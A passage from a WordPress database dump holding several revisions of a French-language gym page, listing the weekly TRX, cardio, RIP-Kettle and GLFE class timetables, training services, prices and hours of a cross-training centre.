class=\&quot;theure\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n\r\n\r\n\r\n\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 30%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 16:34:43', '2013-07-03 16:34:43', '', 11, 'http://www.crosstrainingcenter.be/?p=171', 0, 'revision', '', 0);
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(170, 1, '2013-07-03 16:33:46', '2013-07-03 16:33:46', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 personnes).\r\n\r\nEn semaine :\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;theure\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;theure\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;theure\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;theure\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;theure\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;theure\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n\r\n\r\n\r\n\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 30%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 16:33:46', '2013-07-03 16:33:46', '', 11, 'http://www.crosstrainingcenter.be/?p=170', 0, 'revision', '', 0),
(169, 1, '2013-07-03 16:33:05', '2013-07-03 16:33:05', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 personnes).\r\n\r\nEn semaine :\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;theure\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n\r\n\r\n\r\n\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching 